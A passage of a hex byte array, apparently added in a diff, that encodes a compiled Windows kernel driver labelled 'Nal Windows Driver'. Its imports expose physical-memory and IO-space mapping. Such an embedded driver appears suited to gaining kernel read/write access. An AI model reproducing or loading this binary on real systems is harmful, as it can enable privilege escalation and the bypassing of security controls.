0x30, 0x00, 0x00, 0xEF, 0x30, 0x00, 0x00, 0x50, 0x65, 0x00, 0x00, 0x10, 0x31, 0x00, 0x00, 0xA7, 0x32, 0x00, 0x00, 0xBC, 0x65, 0x00, 0x00, 0xB0, 0x32, 0x00, 0x00, + 0x3A, 0x33, 0x00, 0x00, 0x20, 0x66, 0x00, 0x00, 0x3A, 0x33, 0x00, 0x00, 0x65, 0x33, 0x00, 0x00, 0x0C, 0x66, 0x00, 0x00, 0x65, 0x33, 0x00, 0x00, 0x02, 0x35, 0x00, 0x00, 0xEC, 0x65, 0x00, 0x00, 0x02, 0x35, 0x00, 0x00, 0x17, 0x35, 0x00, 0x00, + 0xDC, 0x65, 0x00, 0x00, 0x17, 0x35, 0x00, 0x00, 0x33, 0x35, 0x00, 0x00, 0xCC, 0x65, 0x00, 0x00, 0x40, 0x35, 0x00, 0x00, 0x4B, 0x35, 0x00, 0x00, 0x64, 0x66, 0x00, 0x00, 0x4B, 0x35, 0x00, 0x00, 0xF4, 0x35, 0x00, 0x00, 0x48, 0x66, 0x00, 0x00, + 0xF4, 0x35, 0x00, 0x00, 0x2F, 0x36, 0x00, 0x00, 0x30, 0x66, 0x00, 0x00, 0x40, 0x36, 0x00, 0x00, 0x4B, 0x36, 0x00, 0x00, 0xA4, 0x66, 0x00, 0x00, 0x4B, 0x36, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x88, 0x66, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, + 0x3A, 0x37, 0x00, 0x00, 0x70, 0x66, 0x00, 0x00, 0x40, 0x37, 0x00, 0x00, 0x7E, 0x37, 0x00, 0x00, 0xD4, 0x66, 0x00, 0x00, 0x7E, 0x37, 0x00, 0x00, 0xAC, 0x37, 0x00, 0x00, 0xC0, 0x66, 0x00, 0x00, 0xAC, 0x37, 0x00, 0x00, 0xBB, 0x37, 0x00, 0x00, + 0xB0, 0x66, 0x00, 0x00, 0xD0, 0x37, 0x00, 0x00, 0xA3, 0x38, 0x00, 0x00, 0xE0, 0x66, 0x00, 0x00, 0xB0, 0x38, 0x00, 0x00, 0x6F, 0x39, 0x00, 0x00, 0xF8, 0x66, 0x00, 0x00, 0x80, 0x39, 0x00, 0x00, 0xF1, 0x39, 0x00, 0x00, 0x14, 0x67, 0x00, 0x00, + 0x00, 0x3A, 0x00, 0x00, 0x36, 0x3A, 0x00, 0x00, 0x48, 0x67, 0x00, 0x00, 0x36, 0x3A, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x00, 0x34, 0x67, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x00, 0x1A, 0x3B, 0x00, 0x00, 0x24, 0x67, 0x00, 0x00, 0x20, 0x3B, 0x00, 0x00, + 0xF8, 0x3C, 0x00, 0x00, 0x58, 0x67, 0x00, 0x00, 0x00, 0x3D, 0x00, 0x00, 0xEA, 0x3D, 0x00, 0x00, 0x78, 0x67, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x4F, 0x3E, 0x00, 0x00, 0x88, 0x67, 0x00, 0x00, 0x60, 0x3E, 0x00, 0x00, 0x9A, 0x3E, 0x00, 0x00, + 0x90, 0x67, 0x00, 0x00, 0xA0, 0x3E, 0x00, 0x00, 0xE6, 0x3E, 0x00, 0x00, 0x98, 0x67, 0x00, 0x00, 0xF0, 0x3E, 0x00, 0x00, 0x8E, 0x3F, 0x00, 0x00, 0xA0, 0x67, 0x00, 0x00, 0xA0, 0x3F, 0x00, 0x00, 0x64, 0x42, 0x00, 0x00, 0xA8, 0x67, 0x00, 0x00, + 0x70, 0x42, 0x00, 0x00, 0x9A, 0x42, 0x00, 0x00, 0xB8, 0x67, 0x00, 0x00, 0x10, 0x20, 0x5D, 0x00, 0x33, 0x20, 0x5D, 0x00, 0x34, 0x62, 0x00, 0x00, 0x33, 0x20, 0x5D, 0x00, 0x4E, 0x21, 0x5D, 0x00, 0x20, 0x62, 0x00, 0x00, 0x4E, 0x21, 0x5D, 0x00, + 0xF9, 0x21, 0x5D, 0x00, 0x10, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x68, 0x48, 0x89, 0x58, 0x18, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x05, 0xAB, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x74, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x5D, + 0x02, 0x00, 0x00, 0x48, 0x89, 0x78, 0x20, 0xE8, 0xF4, 0xFE, 0xA2, 0xFF, 0x33, 0xFF, 0x48, 0x8D, 0x05, 0x7B, 0xDE, 0xFE, 0xFF, 0x89, 0x3D, 0xD5, 0x50, 0xA3, 0xFF, 0xBA, 0x00, 0x01, 0x00, 0x00, 0x40, 0x88, 0xB8, 0x08, 0x01, 0x00, 0x00, 0x48, + 0x89, 0x38, 0x48, 0x05, 0x10, 0x01, 0x00, 0x00, 0x48, 0xFF, 0xCA, 0x75, 0xEB, 0x48, 0x8D, 0x05, 0x24, 0xF0, 0xA2, 0xFF, 0x48, 0x8D, 0x0D, 0xDD, 0x59, 0xE0, 0xFF, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x89, 0x43, 0x70, 0x48, 0x8D, 0x05, 0x6D, + 0xF0, 0xA2, 0xFF, 0x48, 0x89, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xBF, 0xF0, 0xA2, 0xFF, 0x48, 0x89, 0x83, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x71, 0xEF, 0xA2, 0xFF, 0x48, 0x89, 0x43, 0x68, 0x48, 0x8D, 0x05, 0x9E, 0x50, + 0xA3, 0xFF, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x89, 0x78, 0xF8, 0x48, 0x89, 0x38, 0x48, 0x89, 0x78, 0x10, 0x48, 0x89, 0x78, 0x08, 0x89, 0x78, 0x20, 0x89, 0x78, 0x24, 0x48, 0x89, 0x78, 0x18, 0x48, 0x89, 0x78, 0x28, 0x48, 0x89, 0x78, 0x30, + 0x48, 0x89, 0x78, 0x38, 0x48, 0x89, 0x78, 0x40, 0x48, 0x89, 0x79, 0x08, 0x48, 0x89, 0x39, 0x48, 0x89, 0x79, 0xF0, 0x48, 0x89, 0x79, 0xF8, 0x48, 0x89, 0x79, 0x10, 0x48, 0x83, 0xC0, 0x50, 0x48, 0x83, 0xC1, 0x28, 0x48, 0xFF, 0xCA, 0x75, 0xB8, + 0x48, 0x8D, 0x0D, 0xE1, 0x27, 0xA3, 0xFF, 0xE8, 0x2C, 0xFE, 0xA2, 0xFF, 0x48, 0x8D, 0x15, 0xB5, 0x27, 0xA3, 0xFF, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x8A, 0x3F, 0xA3, 0xFF, 0x4C, 0x8D, 0x5C, 0x24, 0x70, 0x4C, 0x8D, 0x44, 0x24, 0x40, + 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x41, 0xB9, 0x86, 0x80, 0x00, 0x00, 0xBA, 0x18, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x40, 0x88, 0x7C, 0x24, 0x28, 0x89, 0x7C, 0x24, 0x20, 0xFF, 0x15, 0xDE, 0x3E, 0xA3, 0xFF, 0x48, 0x8B, 0xBC, 0x24, 0x88, 0x00, + 0x00, 0x00, 0x85, 0xC0, 0x79, 0x15, 0x48, 0x8D, 0x0D, 0x2B, 0x27, 0xA3, 0xFF, 0x8B, 0xD0, 0xE8, 0xD4, 0xFD, 0xA2, 0xFF, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x36, 0x48, 0x8B, 0x44, 0x24, 0x70, 0x48, 0x8D, 0x15, 0xF1, 0x26, 0xA3, 0xFF, 0x48, + 0x8D, 0x4C, 0x24, 0x50, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8B, 0x58, 0x40, 0x48, 0x89, 0x03, 0xFF, 0x15, 0x1B, 0x3F, 0xA3, 0xFF, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0x83, 0x3E, 0xA3, 0xFF, 0x85, 0xC0, 0x79, + 0x1B, 0x48, 0x8D, 0x0D, 0x80, 0x26, 0xA3, 0xFF, 0x8B, 0xD0, 0xE8, 0x89, 0xFD, 0xA2, 0xFF, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0xFF, 0x15, 0x86, 0x3F, 0xA3, 0xFF, 0xEB, 0x1E, 0x48, 0x8B, 0x44, 0x24, 0x70, 0x83, 0x48, 0x30, 0x04, 0x48, 0x8B, 0x44, + 0x24, 0x70, 0x81, 0x60, 0x30, 0x7F, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x70, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8D, 0x0D, 0x17, 0x26, 0xA3, 0xFF, 0xE8, 0x52, 0xFD, 0xA2, 0xFF, 0x48, 0x8D, 0x0D, 0x7B, 0x00, 0x00, 0x00, 0xE8, 0x46, 0xFD, + 0xA2, 0xFF, 0x48, 0x8B, 0x9C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x68, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0x01, 0x4F, 0xA3, 0xFF, 0x49, 0xB9, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC1, 0x75, 0x2F, 0x4C, 0x8D, 0x05, 0xE6, 0x4E, 0xA3, 0xFF, 0x48, 0xB8, 0x20, 0x03, 0x00, 0x00, 0x80, 0xF7, 0xFF, 0xFF, 0x48, 0x8B, 0x00, 0x49, 0x33, 0xC0, 0x49, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0x00, 0x00, 0x49, 0x23, 0xC0, 0x49, 0x0F, 0x44, 0xC1, 0x48, 0x89, 0x05, 0xBE, 0x4E, 0xA3, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, 0xAC, 0x4E, 0xA3, 0xFF, 0xE9, 0xB7, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x3A, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x6C, 0x65, 0x74, 0x65, + 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x6F, 0x76, 0x20, 0x31, 0x34, 0x20, 0x32, 0x30, 0x31, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x0A, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, + 0x76, 0x65, 0x72, 0x20, 0x4C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, 0x2D, 0x2D, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x25, 0x73, 0x20, 0x25, 0x73, 0x0A, 0x00, 0xCC, 0xCC, 0x30, 0x37, 0x3A, 0x32, 0x32, 0x3A, 0x34, 0x30, + 0x00, 0xCC, 0xCC, 0xCC, 0x30, 0x23, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0x27, 0x5D, 0x00, 0x18, 0x60, 0x00, 0x00, 0x18, 0x23, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x27, 0x5D, 0x00, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFA, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xB2, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8E, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xEE, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x72, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x01, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, + 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x61, 0x01, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x3E, 0x04, 0x52, 0x74, 0x6C, 0x49, + 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x55, 0x01, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, + 0x00, 0x00, 0x4C, 0x01, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0xF6, 0x01, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x00, 0x00, 0x46, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0x58, 0x00, 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, + 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xC0, 0x02, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x31, 0x00, 0x44, 0x62, 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, + 0x00, 0x00, 0xCB, 0x05, 0x73, 0x74, 0x72, 0x6E, 0x63, 0x70, 0x79, 0x00, 0xD6, 0x05, 0x76, 0x73, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x00, 0x00, 0x72, 0x01, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, 0xD2, 0x02, 0x4D, 0x6D, + 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x79, 0x43, 0x61, 0x63, 0x68, 0x65, 0x00, 0x00, 0xB2, 0x02, 0x4D, 0x6D, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, + 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x33, 0x01, 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, 0x6C, 0x00, 0xEE, 0x02, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, + 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0xEF, 0x02, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0xAC, 0x02, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, + 0x63, 0x61, 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xBB, 0x02, 0x4D, 0x6D, 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, + 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xD0, 0x02, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x52, 0x03, 0x4F, 0x62, 0x66, 0x44, 0x65, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, 0x65, + 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x00, 0x95, 0x02, 0x4B, 0x65, 0x57, 0x61, 0x69, 0x74, 0x46, 0x6F, 0x72, 0x53, 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0xF5, 0x01, 0x49, 0x6F, 0x66, 0x43, 0x61, 0x6C, + 0x6C, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x00, 0x3E, 0x01, 0x49, 0x6F, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x53, 0x79, 0x6E, 0x63, 0x68, 0x72, 0x6F, 0x6E, 0x6F, 0x75, 0x73, 0x46, 0x73, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, + 0x2E, 0x02, 0x4B, 0x65, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x00, 0x25, 0x05, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x21, 0x04, 0x52, 0x74, 0x6C, 0x46, 0x72, 0x65, 0x65, 0x41, + 0x6E, 0x73, 0x69, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0xCE, 0x05, 0x73, 0x74, 0x72, 0x73, 0x74, 0x72, 0x00, 0x00, 0xB2, 0x04, 0x52, 0x74, 0x6C, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x54, 0x6F, + 0x41, 0x6E, 0x73, 0x69, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x3C, 0x05, 0x5A, 0x77, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61, 0x74, 0x65, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x4B, 0x65, 0x79, 0x00, 0x4F, 0x05, 0x5A, 0x77, 0x4F, 0x70, + 0x65, 0x6E, 0x4B, 0x65, 0x79, 0x00, 0xDF, 0x05, 0x77, 0x63, 0x73, 0x6E, 0x63, 0x70, 0x79, 0x00, 0x7D, 0x01, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x50, 0x6F, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x00, 0x00, 0x7C, 0x01, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x66, 0x61, 0x63, 0x65, 0x73, 0x00, 0x4C, 0x03, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, + 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x00, 0x13, 0x02, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, + 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x3B, 0x00, 0x4B, 0x65, 0x53, 0x74, 0x61, 0x6C, 0x6C, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x6F, 0x72, 0x00, 0x3A, 0x00, 0x4B, 0x65, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x50, 0x65, 0x72, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x6E, 0x63, 0x65, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x48, 0x41, 0x4C, 